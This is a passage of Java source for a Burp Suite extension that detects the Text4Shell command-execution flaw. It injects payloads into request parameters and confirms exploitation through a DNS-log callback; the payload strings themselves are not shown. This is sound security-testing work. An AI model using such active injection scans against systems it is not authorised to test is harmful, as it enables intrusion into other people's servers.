this.dnsLogUrlArrayList.get(i)); 131 | return; 132 | } 133 | } 134 | 135 | private void remoteCmdDetection(String payload) { 136 | String key = CustomHelpers.randomStr(15); 137 | 138 | String dnsLogUrl = key + "." + this.dnsLog.run().getTemporaryDomainName(); 139 | 140 | // 发送请求 141 | IHttpRequestResponse newHttpRequestResponse = analyzedRequest.makeHttpRequest(payload, dnsLogUrl); 142 | // 相关变量设置 143 | this.keyArrayList.add(analyzedRequest.getForReKey() + key); 144 | this.dnsLogUrlArrayList.add(dnsLogUrl); 145 | this.httpRequestResponseArrayList.add(newHttpRequestResponse); 146 | 147 | // dnslog 返回的内容判断 148 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent(); 149 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) { 150 | return; 151 | } 152 | // dnslog 内容匹配判断 153 | if (!dnsLogBodyContent.contains(analyzedRequest.getForReKey() + key)) { 154 | return; 155 | } 156 | 157 | // 设置问题详情 158 | this.setIssuesDetail(newHttpRequestResponse, dnsLogUrl); 159 | } 160 | 161 | /** 162 | * 设置问题详情 163 | */ 164 | private void setIssuesDetail(IHttpRequestResponse httpRequestResponse, String dnsLogUrl) { 165 | this.setIssueState(true); 166 | this.setHttpRequestResponse(httpRequestResponse); 167 | 168 | this.sendDnsLogUrl = dnsLogUrl; 169 | } 170 | 171 | @Override 172 | public IScanIssue export() { 173 | if (!this.isIssue()) { 174 | return null; 175 | } 176 | 177 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); 178 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); 179 | 180 | String str1 = String.format("
=============RemoteCmdExtension============
"); 181 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 182 | String str3 = String.format("sendDnsLogUrl: %s
", this.sendDnsLogUrl); 183 | String str4 = String.format("=====================================
"); 184 | 185 | // dnslog 详情输出 186 | String str5 = this.dnsLog.run().export(); 187 | 188 | // dnslog body内容输出 189 | String str6 = String.format("
=============DnsLogBodyContent============
"); 190 | String str7 = this.dnsLog.run().getBodyContent(); 191 | String str8 = String.format("
=====================================
"); 192 | 193 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8; 194 | 195 | String issueName = this.yamlReader.getString("application.remoteCmdExtension.config.issueName"); 196 | 197 | return new CustomScanIssue( 198 | newHttpRequestUrl, 199 | issueName, 200 | 0, 201 | "High", 202 | "Certain", 203 | null, 204 | null, 205 | detail, 206 | null, 207 | new IHttpRequestResponse[]{newHttpRequestResponse}, 208 | newHttpRequestResponse.getHttpService() 209 | ); 210 | } 211 | 212 | @Override 213 | public void consoleExport() { 214 | if (!this.isIssue()) { 215 | return; 216 | } 217 | 218 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); 219 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); 220 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 221 | 222 | stdout.println(""); 223 | stdout.println("===========RemoteCmdExtension详情============"); 224 | stdout.println("你好呀~ (≧ω≦*)喵~"); 225 | stdout.println("这边检测到有一个站点有命令执行并且dns出网 喵~"); 226 | stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); 227 | stdout.println(String.format("url: %s", newHttpRequestUrl)); 228 | stdout.println(String.format("发送的dnsLogUrl: %s", this.sendDnsLogUrl)); 229 | stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); 230 | stdout.println("==================================="); 231 | stdout.println(""); 232 | 233 | stdout.println(""); 234 | stdout.println("===========DnsLog正文内容============"); 235 | stdout.println(this.dnsLog.run().getBodyContent()); 236 | stdout.println("==================================="); 237 | stdout.println(""); 238 | 239 | // dnslog 控制台详情输出 240 | this.dnsLog.run().consoleExport(); 241 | } 242 | } 243 | -------------------------------------------------------------------------------- /src/main/java/burp/UI/Tags.java: -------------------------------------------------------------------------------- 1 | package burp.UI; 2 | 3 | import burp.*; 4 | 5 | import javax.swing.*; 6 | import javax.swing.table.AbstractTableModel; 7 | import javax.swing.table.TableModel; 8 | import java.awt.*; 9 | import java.awt.event.ActionEvent; 10 | import java.awt.event.ActionListener; 11 | import java.text.SimpleDateFormat; 12 | import java.util.*; 13 | import java.util.List; 14 | 15 | public class Tags extends AbstractTableModel implements ITab, IMessageEditorController { 16 | public IBurpExtenderCallbacks callbacks; 17 | 18 | private JSplitPane top; 19 | 20 | public List Udatas = new ArrayList<>(); 21 | 22 | public IMessageEditor HRequestTextEditor; 23 | 24 | public IMessageEditor HResponseTextEditor; 25 | 26 | private IHttpRequestResponse currentlyDisplayedItem; 27 | 28 | public URLTable Utable; 29 | 30 | private JScrollPane UscrollPane; 31 | 32 | private JSplitPane HjSplitPane; 33 | 34 | private JTabbedPane Ltable; 35 | 36 | private JTabbedPane Rtable; 37 | 38 | private JSplitPane splitPane; 39 | 40 | private JPopupMenu m_popupMenu; 41 | 42 | public List Get_URL_list() { 43 | List Urls = new ArrayList<>(); 44 | for (TablesData data : this.Udatas) { 45 | Urls.add(data.url); 46 | } 47 | return Urls; 48 | } 49 | 50 | 51 | public Tags(IBurpExtenderCallbacks callbacks, String name) { 52 | this.callbacks = callbacks; 53 | 54 | // this.tagName = name; 55 | SwingUtilities.invokeLater(new Runnable() { 56 | public void run() { 57 | // 创建最上面的一层 58 | Tags.this.top = new JSplitPane(JSplitPane.VERTICAL_SPLIT); 59 | // 创建容器,容器可以加入多个页面 60 | JTabbedPane tabs = new JTabbedPane(); 61 | // 创建主拆分窗格 62 | splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); 63 | 64 | 65 | // 日志条目表 66 | URLTable URLTab = new URLTable(Tags.this); 67 | // URLTab.addMouseListener(new Right_click_menu(Tags.this)); 68 | m_popupMenu = new JPopupMenu(); 69 | JMenuItem delMenItem = new JMenuItem(); 70 | delMenItem.setText("Delete item"); 71 | delMenItem.addActionListener(new Remove_action(Tags.this)); 72 | JMenuItem delAllMenItem = new JMenuItem(); 73 | delAllMenItem.setText("Clear all history"); 74 | delAllMenItem.addActionListener(new Remove_All(Tags.this)); 75 | 76 | m_popupMenu.add(delMenItem); 77 | m_popupMenu.add(delAllMenItem); 78 | URLTab.addMouseListener(new java.awt.event.MouseAdapter() { 79 | public void mouseClicked(java.awt.event.MouseEvent evt) { 80 | jTable1MouseClicked(evt); 81 | } 82 | }); 83 | 84 | Tags.this.Utable = URLTab; 85 | Tags.this.UscrollPane = new JScrollPane(Tags.this.Utable); 86 | 87 | 88 | //创建请求和响应的展示窗 89 | Tags.this.HjSplitPane = new JSplitPane(); 90 | Tags.this.HjSplitPane.setResizeWeight(0.5); 91 | 92 | // 创建请求/响应的子选项卡 93 | Tags.this.Ltable = new JTabbedPane(); 94 | Tags.this.Rtable = new JTabbedPane(); 95 | Tags.this.HRequestTextEditor = Tags.this.callbacks.createMessageEditor(Tags.this, false); 96 | Tags.this.HResponseTextEditor = Tags.this.callbacks.createMessageEditor(Tags.this, false); 97 | Tags.this.Ltable.addTab("Request", Tags.this.HRequestTextEditor.getComponent()); 98 | Tags.this.Rtable.addTab("Response", Tags.this.HResponseTextEditor.getComponent()); 99 | 100 | // 将子选项卡添加进主选项卡 101 | Tags.this.HjSplitPane.add(Tags.this.Ltable, "left"); 102 | Tags.this.HjSplitPane.add(Tags.this.Rtable, "right"); 103 | 104 | // 将日志条目表和展示窗添加到主拆分窗格 105 | Tags.this.splitPane.add(Tags.this.UscrollPane, "left"); 106 | Tags.this.splitPane.add(Tags.this.HjSplitPane, "right"); 107 | 108 | // 将两个页面插入容器 109 | tabs.addTab("VulDisplay", Tags.this.splitPane); 110 | 111 | // 将容器置于顶层 112 | top.setTopComponent(tabs); 113 | 114 | // 定制我们的UI组件 115 | Tags.this.callbacks.customizeUiComponent(Tags.this.top); 116 | 117 | // 将自定义选项卡添加到Burp的UI 118 | Tags.this.callbacks.addSuiteTab(Tags.this); 119 | } 120 | }); 121 | } 122 | 123 | public String getTabCaption() { 124 | return "Text4ShellScan"; 125 | } 126 | 127 | public Component getUiComponent() { 128 | return this.top; 129 | } 130 | 131 | public int getRowCount() { 132 | return this.Udatas.size(); 133 | } 134 | 135 | public int getColumnCount() { 136 | return 9; 137 | } 138 | 139 | public String getColumnName(int columnIndex) { 140 | switch (columnIndex) { 141 | case 0: 142 | return "#"; 143 | case 1: 144 | return "VulName"; 145 | case 2: 146 | return "Method"; 147 | case 3: 148 | return "Url"; 149 | case 4: 150 | return "Status"; 151 | case 5: 152 | return "Info"; 153 | case 6: 154 | return "Size"; 155 | case 7: 156 | return "startTime"; 157 | case 8: 158 | return "endTime"; 159 | } 160 | return null; 161 | } 162 | 163 | public Class getColumnClass(int columnIndex) { 164 | return String.class; 165 | } 166 | 167 | public Object getValueAt(int rowIndex, int columnIndex) { 168 | TablesData datas = this.Udatas.get(rowIndex); 169 | switch (columnIndex) { 170 | case 0: 171 | return Integer.valueOf(datas.id); 172 | case 1: 173 | return datas.VulName; 174 | case 2: 175 | return datas.Method; 176 | case 3: 177 | return datas.url; 178 | case 4: 179 | return datas.status; 180 | case 5: 181 | return datas.Info; 182 | case 6: 183 | return datas.Size; 184 | case 7: 185 | return datas.startTime; 186 | case 8: 187 | return datas.endTime; 188 | } 189 | return null; 190 | } 191 | 192 | public byte[] getRequest() { 193 | return this.currentlyDisplayedItem.getRequest(); 194 | } 195 | 196 | public byte[] getResponse() { 197 | return this.currentlyDisplayedItem.getResponse(); 198 | } 199 | 200 | public IHttpService getHttpService() { 201 | return this.currentlyDisplayedItem.getHttpService(); 202 | } 203 | 204 | public int add(String VulName, String Method, String url, String status, String Info, String Size, IHttpRequestResponse requestResponse) { 205 | synchronized (this.Udatas) { 206 | Date d = new Date(); 207 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 208 | String startTime = sdf.format(d); 209 | int id = this.Udatas.size(); 210 | this.Udatas.add( 211 | new TablesData( 212 | id, 213 | VulName, 214 | Method, 215 | url, 216 | status, 217 | Info, 218 | Size, 219 | requestResponse, 220 | startTime, 221 | "")); 222 | fireTableRowsInserted(id, id); 223 | return id; 224 | } 225 | } 226 | /** 227 | * 更新任务状态至任务栏面板 228 | * 229 | * @param id 漏洞编号id 230 | * @param VulName 漏洞名称 231 | * @param Method 请求方式 232 | * @param url 漏洞url 233 | * @param status 漏洞状态 234 | * @param Info 漏洞信息 235 | * @param Size 漏洞返回包大小 236 | * @param requestResponse 请求包返回包 237 | * @return int id 238 | */ 239 | public int save(int id, String VulName, String Method,String url, String status, String Info, String Size,IHttpRequestResponse requestResponse) { 240 | Tags.TablesData dataEntry = Tags.this.Udatas.get(id); 241 | String startTime = dataEntry.startTime; 242 | 243 | Date d = new Date(); 244 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 245 | String endTime = sdf.format(d); 246 | 247 | synchronized (this.Udatas) { 248 | this.Udatas.set( 249 | id, 250 | new TablesData( 251 | id, 252 | VulName, 253 | Method, 254 | url, 255 | status, 256 | Info, 257 | Size, 258 | requestResponse, 259 | startTime, 260 | endTime 261 | ) 262 | ); 263 | fireTableRowsUpdated(id, id); 264 | return id; 265 | } 266 | } 267 | 268 | 269 | public class URLTable extends JTable { 270 | public URLTable(TableModel tableModel) { 271 | super(tableModel); 272 | } 273 | 274 | public void changeSelection(int row, int col, boolean toggle, boolean extend) { 275 | TablesData dataEntry = Tags.this.Udatas.get(convertRowIndexToModel(row)); 276 | Tags.this.HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); 277 | Tags.this.HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); 278 | Tags.this.currentlyDisplayedItem = dataEntry.requestResponse; 279 | super.changeSelection(row, col, toggle, extend); 280 | } 281 | } 282 | 283 | 284 | public static class TablesData { 285 | final int id; 286 | 287 | final String VulName; 288 | 289 | final String Method; 290 | 291 | final String url; 292 | 293 | final String status; 294 | 295 | final String Info; 296 | 297 | final String Size; 298 | 299 | final IHttpRequestResponse requestResponse; 300 | 301 | final String startTime; 302 | 303 | final String endTime; 304 | 305 | public TablesData(int id, String VulName, String Method, String url, String status, String Info, String Size, IHttpRequestResponse requestResponse, String startTime, String endTime) { 306 | this.id = id; 307 | this.VulName = VulName; 308 | this.Method = Method; 309 | this.url = url; 310 | this.status = status; 311 | this.Info = Info; 312 | this.Size = Size; 313 | this.requestResponse = requestResponse; 314 | this.startTime = startTime; 315 | this.endTime = endTime; 316 | } 317 | } 318 | 319 | 320 | private void jTable1MouseClicked(java.awt.event.MouseEvent evt) { 321 | 322 | mouseRightButtonClick(evt); 323 | } 324 | 325 | 326 | private void mouseRightButtonClick(java.awt.event.MouseEvent evt) { 327 | //判断是否为鼠标的BUTTON3按钮,BUTTON3为鼠标右键 328 | if (evt.getButton() == java.awt.event.MouseEvent.BUTTON3) { 329 | //经过点击位置找到点击为表格中的行 330 | int focusedRowIndex = this.Utable.rowAtPoint(evt.getPoint()); 331 | if (focusedRowIndex == -1) { 332 | return; 333 | } 334 | //将表格所选项设为当前右键点击的行 335 | // this.Utable.setRowSelectionInterval(focusedRowIndex, focusedRowIndex); 336 | //弹出菜单 337 | m_popupMenu.show(this.Utable, evt.getX(), evt.getY()); 338 | } 339 | 340 | } 341 | 342 | 343 | } 344 | 345 | 346 | class Remove_All implements ActionListener { 347 | private Tags tag; 348 | 349 | public Remove_All(Tags tag) { 350 | this.tag = tag; 351 | } 352 | 353 | @Override 354 | public void actionPerformed(ActionEvent e) { 355 | tag.Udatas.clear(); 356 | tag.HRequestTextEditor.setMessage(new byte[]{},true); 357 | tag.HResponseTextEditor.setMessage(new byte[]{},false); 358 | } 359 | } 360 | 361 | 362 | class Remove_action implements ActionListener { 363 | private Tags tag; 364 | 365 | public Remove_action(Tags tag) { 366 | this.tag = tag; 367 | } 368 | 369 | @Override 370 | public void actionPerformed(ActionEvent e) { 371 | int[] RemId = tag.Utable.getSelectedRows(); 372 | for (int i : reversal(RemId)) { 373 | tag.Udatas.remove(i); 374 | tag.fireTableRowsDeleted(i, i); 375 | tag.HRequestTextEditor.setMessage(new byte[]{},true); 376 | tag.HResponseTextEditor.setMessage(new byte[]{},false); 377 | } 378 | } 379 | 380 | public Integer[] reversal(int[] int_array) { 381 | Integer newScores[] = new Integer[int_array.length]; 382 | for (int i = 0; i < int_array.length; i++) { 383 | newScores[i] = new Integer(int_array[i]); 384 | } 385 | 386 | Arrays.sort(newScores, Collections.reverseOrder()); 387 | return newScores; 388 | 389 | } 390 | } 391 | -------------------------------------------------------------------------------- /src/main/java/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.Application.RemoteCmdExtension.RemoteCmd; 4 | import burp.Bootstrap.*; 5 | import burp.CustomErrorException.TaskTimeoutException; 6 | import burp.DnsLogModule.DnsLog; 7 | import burp.UI.*; 8 | 9 | import javax.swing.*; 10 | import java.io.PrintWriter; 11 | import java.lang.reflect.InvocationTargetException; 12 | import java.util.ArrayList; 13 | import java.util.Arrays; 14 | import java.util.List; 15 | 16 | public class BurpExtender implements IBurpExtender, IScannerCheck, IExtensionStateListener, IContextMenuFactory { 17 | public static String NAME="Text4ShellScan"; 18 | public Tags tags; 19 | private IBurpExtenderCallbacks callbacks; 20 | private IExtensionHelpers helpers; 21 | 22 | private GlobalVariableReader globalVariableReader; 23 | 24 | private PrintWriter stdout; 25 | private PrintWriter stderr; 26 | 27 | private YamlReader yamlReader; 28 | 29 | @Override 30 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 31 | 32 | this.callbacks = callbacks; 33 | this.helpers = callbacks.getHelpers(); 34 | 35 | this.stdout = new PrintWriter(callbacks.getStdout(), true); 36 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 37 | 38 | // 全局变量的数据保存地址 39 | // 用于在程序执行的过程中能够实时的修改变量数据使用 40 | this.globalVariableReader = new GlobalVariableReader(); 41 | 42 | // 是否卸载扩展 43 | // 用于卸载插件以后,把程序快速退出去,避免卡顿 44 | // true = 已被卸载, false = 未卸载 45 | this.globalVariableReader.putBooleanData("isExtensionUnload", false); 46 | 47 | this.tags = new Tags(callbacks, NAME); 48 | 49 | callbacks.setExtensionName(NAME); 50 | callbacks.registerScannerCheck(this); 51 | callbacks.registerExtensionStateListener(this); 52 | callbacks.registerContextMenuFactory(this); 53 | // 配置文件 54 | this.yamlReader = YamlReader.getInstance(callbacks); 55 | // 基本信息输出 56 | this.stdout.println(basicInformationOutput()); 57 | } 58 | /** 59 | * 基本信息输出 60 | * @return 61 | */ 62 | private static String basicInformationOutput() { 63 | String str1 = "===================================\n"; 64 | String str2 = String.format("LOADING %s SUCCESS\n", NAME); 65 | String str3 = String.format("GitHub:https://github.com/A0WaQ4/BurpText4ShellScan\n"); 66 | String str4 = String.format("Author:A0WaQ4\n"); 67 | String str5 = "===================================\n"; 68 | String detail = str1 + str2 + str3 + str4 + str5; 69 | return detail; 70 | } 71 | @Override 72 | public void extensionUnloaded() { 73 | 74 | } 75 | 76 | /** 77 | * 进行被动扫描 78 | * @param baseRequestResponse 基础的请求返回包 79 | * @return null 80 | */ 81 | @Override 82 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) { 83 | List issues = new ArrayList<>(); 84 | 85 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist"); 86 | // 基础请求分析 87 | BurpAnalyzedRequest baseAnalyzedRequest = new BurpAnalyzedRequest(this.callbacks, this.tags, baseRequestResponse); 88 | 89 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse); 90 | CustomBurpParameters baseBurpParameters = new CustomBurpParameters(this.callbacks,baseRequestResponse); 91 | 92 | 93 | // 判断域名黑名单 94 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) { 95 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) { 96 | return null; 97 | } 98 | } 99 | 100 | // 判断当前请求后缀,是否为url黑名单后缀 101 | if (this.isUrlBlackListSuffix(baseBurpUrl)) { 102 | return null; 103 | } 104 | 105 | try { 106 | // 远程cmd扩展 107 | IScanIssue remoteCmdIssuesDetail = this.remoteCmdExtension(baseAnalyzedRequest); 108 | if (remoteCmdIssuesDetail != null) { 109 | issues.add(remoteCmdIssuesDetail); 110 | return issues; 111 | } 112 | } catch (TaskTimeoutException e) { 113 | this.stdout.println("========插件错误-超时错误============"); 114 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 115 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 116 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 117 | this.stdout.println("========================================"); 118 | this.stdout.println(" "); 119 | e.printStackTrace(this.stderr); 120 | } catch (Exception e) { 121 | this.stdout.println("========插件错误-未知错误============"); 122 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 123 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 124 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 125 | this.stdout.println("========================================"); 126 | this.stdout.println(" "); 127 | e.printStackTrace(this.stderr); 128 | } finally { 129 | this.stdout.println("================扫描完毕================"); 130 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 131 | this.stdout.println("========================================"); 132 | this.stdout.println(" "); 133 | 134 | return issues; 135 | } 136 | 137 | } 138 | 139 | /** 140 | * 进行主动扫描 141 | * 142 | * @param invocation 143 | * @return 144 | */ 145 | @Override 146 | public List createMenuItems (IContextMenuInvocation invocation ) { 147 | 148 | JMenuItem jMenuItem = new JMenuItem("Send to Text4Shell Scanner"); 149 | List jMenuItemList = new ArrayList<>(); 150 | 151 | jMenuItemList.add(jMenuItem); 152 | jMenuItem.addActionListener(a -> { 153 | IHttpRequestResponse baseRequestResponse = invocation.getSelectedMessages()[0]; 154 | List issues = new ArrayList<>(); 155 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist"); 156 | // 基础请求分析 157 | BurpAnalyzedRequest baseAnalyzedRequest = new BurpAnalyzedRequest(this.callbacks, this.tags, baseRequestResponse); 158 | 159 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse); 160 | CustomBurpParameters baseBurpParameters = new CustomBurpParameters(this.callbacks,baseRequestResponse); 161 | 162 | 163 | // 判断域名黑名单 164 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) { 165 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) { 166 | return ; 167 | } 168 | } 169 | 170 | // 判断当前请求后缀,是否为url黑名单后缀 171 | if (this.isUrlBlackListSuffix(baseBurpUrl)) { 172 | return ; 173 | } 174 | 175 | new Thread() { // 由于createmenuitem不能进行创建buildHttpMessage,所以另起一个线程进行探测 176 | public void run() { 177 | try { 178 | // 远程cmd扩展 179 | IScanIssue remoteCmdIssuesDetail = remoteCmdExtension(baseAnalyzedRequest); 180 | if (remoteCmdIssuesDetail != null) { 181 | issues.add(remoteCmdIssuesDetail); 182 | } 183 | } catch (TaskTimeoutException e) { 184 | stdout.println("========插件错误-超时错误============"); 185 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 186 | stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 187 | stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 188 | stdout.println("========================================"); 189 | stdout.println(" "); 190 | e.printStackTrace(stderr); 191 | } catch (Exception e) { 192 | stdout.println("========插件错误-未知错误============"); 193 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 194 | stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); 195 | stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); 196 | stdout.println("========================================"); 197 | stdout.println(" "); 198 | e.printStackTrace(stderr); 199 | } finally { 200 | stdout.println("================扫描完毕================"); 201 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); 202 | stdout.println("========================================"); 203 | stdout.println(" "); 204 | } 205 | 206 | } 207 | }.start(); 208 | } 209 | ); 210 | 211 | return jMenuItemList; 212 | } 213 | 214 | /** 215 | * 远程cmd扩展 216 | * 217 | * @param analyzedRequest 218 | * @return IScanIssue issues 219 | * @throws ClassNotFoundException 220 | * @throws NoSuchMethodException 221 | * @throws InvocationTargetException 222 | * @throws InstantiationException 223 | * @throws IllegalAccessException 224 | */ 225 | private IScanIssue remoteCmdExtension(BurpAnalyzedRequest analyzedRequest) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { 226 | String provider = this.yamlReader.getString("application.remoteCmdExtension.config.provider"); 227 | 228 | DnsLog dnsLog = new DnsLog(this.callbacks, this.yamlReader.getString("dnsLogModule.provider")); 229 | RemoteCmd remoteCmd = new RemoteCmd(this.globalVariableReader, this.callbacks, analyzedRequest, dnsLog, this.yamlReader, provider); 230 | if (!remoteCmd.run().isIssue()) { 231 | return null; 232 | } 233 | 234 | IHttpRequestResponse httpRequestResponse = remoteCmd.run().getHttpRequestResponse(); 235 | 236 | int tagId = this.tags.add( 237 | remoteCmd.run().getExtensionName(), 238 | this.helpers.analyzeRequest(httpRequestResponse).getMethod(), 239 | new CustomBurpUrl(this.callbacks, httpRequestResponse).getHttpRequestUrl().toString(), 240 | this.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode() + "", 241 | "[+] found Text4Shell command execution", 242 | String.valueOf(httpRequestResponse.getResponse().length), 243 | remoteCmd.run().getHttpRequestResponse() 244 | ); 245 | 246 | remoteCmd.run().consoleExport(); 247 | return remoteCmd.run().export(); 248 | } 249 | 250 | /** 251 | * 判断是否查找的到指定的域名 252 | * 253 | * @param domainName 需匹配的域名 254 | * @param domainNameList 待匹配的域名列表 255 | * @return 是=true 否=false 256 | */ 257 | private static Boolean isMatchDomainName(String domainName, List domainNameList) { 258 | domainName = domainName.trim(); 259 | 260 | if (domainName.length() <= 0) { 261 | return false; 262 | } 263 | 264 | if (domainNameList == null || domainNameList.size() <= 0) { 265 | return false; 266 | } 267 | 268 | if (domainName.contains(":")) { 269 | domainName = domainName.substring(0, domainName.indexOf(":")); 270 | } 271 | 272 | String reverseDomainName = new StringBuffer(domainName).reverse().toString(); 273 | 274 | for (String domainName2 : domainNameList) { 275 | domainName2 = domainName2.trim(); 276 | 277 | if (domainName2.length() <= 0) { 278 | continue; 279 | } 280 | 281 | if (domainName2.contains(":")) { 282 | domainName2 = domainName2.substring(0, domainName2.indexOf(":")); 283 | } 284 | 285 | String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString(); 286 | 287 | if (domainName.equals(domainName2)) { 288 | return true; 289 | } 290 | 291 | if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) { 292 | List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]"))); 293 | 294 | List splitDomainName2 = new ArrayList(Arrays.asList(reverseDomainName2.split("[.]"))); 295 | 296 | if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) { 297 | continue; 298 | } 299 | 300 | if (splitDomainName.size() < splitDomainName2.size()) { 301 | for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) { 302 | splitDomainName.add("*"); 303 | } 304 | } 305 | 306 | if (splitDomainName.size() > splitDomainName2.size()) { 307 | for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) { 308 | splitDomainName2.add("*"); 309 | } 310 | } 311 | 312 | int ii = 0; 313 | for (int i = 0; i < splitDomainName.size(); i++) { 314 | if (splitDomainName2.get(i).equals("*")) { 315 | ii = ii + 1; 316 | } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) { 317 | ii = ii + 1; 318 | } 319 | } 320 | 321 | if (ii == splitDomainName.size()) { 322 | return true; 323 | } 324 | } 325 | } 326 | return false; 327 | } 328 | 329 | /** 330 | * 判断是否url黑名单后缀 331 | * 大小写不区分 332 | * 333 | * @param burpUrl 目标url 334 | * @return 是 = true, 否 = false 335 | */ 336 | private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) { 337 | if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) { 338 | return false; 339 | } 340 | 341 | String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0]; 342 | String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1); 343 | 344 | List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList"); 345 | if (suffixList == null || suffixList.size() == 0) { 346 | return false; 347 | } 348 | 349 | for (String s : suffixList) { 350 | if (s.toLowerCase().equals(urlSuffix.toLowerCase())) { 351 | return true; 352 | } 353 | } 354 | 355 | return false; 356 | } 357 | 358 | @Override 359 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) { 360 | return null; 361 | } 362 | 363 | @Override 364 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) { 365 | return 0; 366 | } 367 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/BurpAnalyzedRequest.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.io.StringReader; 4 | import java.util.List; 5 | import java.util.ArrayList; 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | 9 | import burp.*; 10 | import burp.UI.Tags; 11 | import com.alibaba.fastjson.JSON; 12 | import org.dom4j.DocumentHelper; 13 | 14 | public class BurpAnalyzedRequest { 15 | private IBurpExtenderCallbacks callbacks; 16 | 17 | private IExtensionHelpers helpers; 18 | 19 | private CustomBurpUrl customBurpUrl; 20 | 21 | private CustomBurpHelpers customBurpHelpers; 22 | 23 | private List equalParameters = new ArrayList<>(); 24 | private List JsonXmlFileParameters = new ArrayList<>(); 25 | private List URLParameters = new ArrayList<>(); 26 | 27 | private IHttpRequestResponse requestResponse; 28 | 29 | private YamlReader yamlReader; 30 | 31 | private Tags tags; 32 | 33 | public BurpAnalyzedRequest(IBurpExtenderCallbacks callbacks, Tags tags, IHttpRequestResponse requestResponse) { 34 | this.callbacks = callbacks; 35 | this.helpers = this.callbacks.getHelpers(); 36 | 37 | this.tags = tags; 38 | 39 | this.customBurpHelpers = new CustomBurpHelpers(callbacks); 40 | this.requestResponse = requestResponse; 41 | this.customBurpUrl = new CustomBurpUrl(this.callbacks , requestResponse); 42 | // 配置文件 43 | this.yamlReader = YamlReader.getInstance(callbacks); 44 | 45 | initParameters(); 46 | initJsonXmlFileParameters(); 47 | initURLParameters(); 48 | // initEligibleJsonParameters(); 49 | } 50 | 51 | public IHttpRequestResponse requestResponse() { 52 | return this.requestResponse; 53 | } 54 | 55 | public IRequestInfo analyzeRequest() { 56 | return this.helpers.analyzeRequest(this.requestResponse.getRequest()); 57 | } 58 | 59 | /** 60 | * 初始化非json、xml、xml_attr、multi、cookie参数 61 | */ 62 | private void initParameters() { 63 | if (analyzeRequest().getParameters().isEmpty()) { 64 | return; 65 | } 66 | 67 | for (IParameter p : analyzeRequest().getParameters()) { 68 | // 类型为json、xml、xml_attr、cookie、multi不加入 69 | if (p.getType() == 6 || p.getType() == 3 || p.getType() == 4 || p.getType() == 2 || p.getType() == 5) { 70 | continue; 71 | } 72 | if (p.getName() == null || "".equals(p.getName())) { 73 | continue; 74 | } 75 | this.equalParameters.add(p); 76 | } 77 | } 78 | 79 | /** 80 | * 初始化非cookie、xml_attr、equal参数 81 | */ 82 | private void initJsonXmlFileParameters() { 83 | if 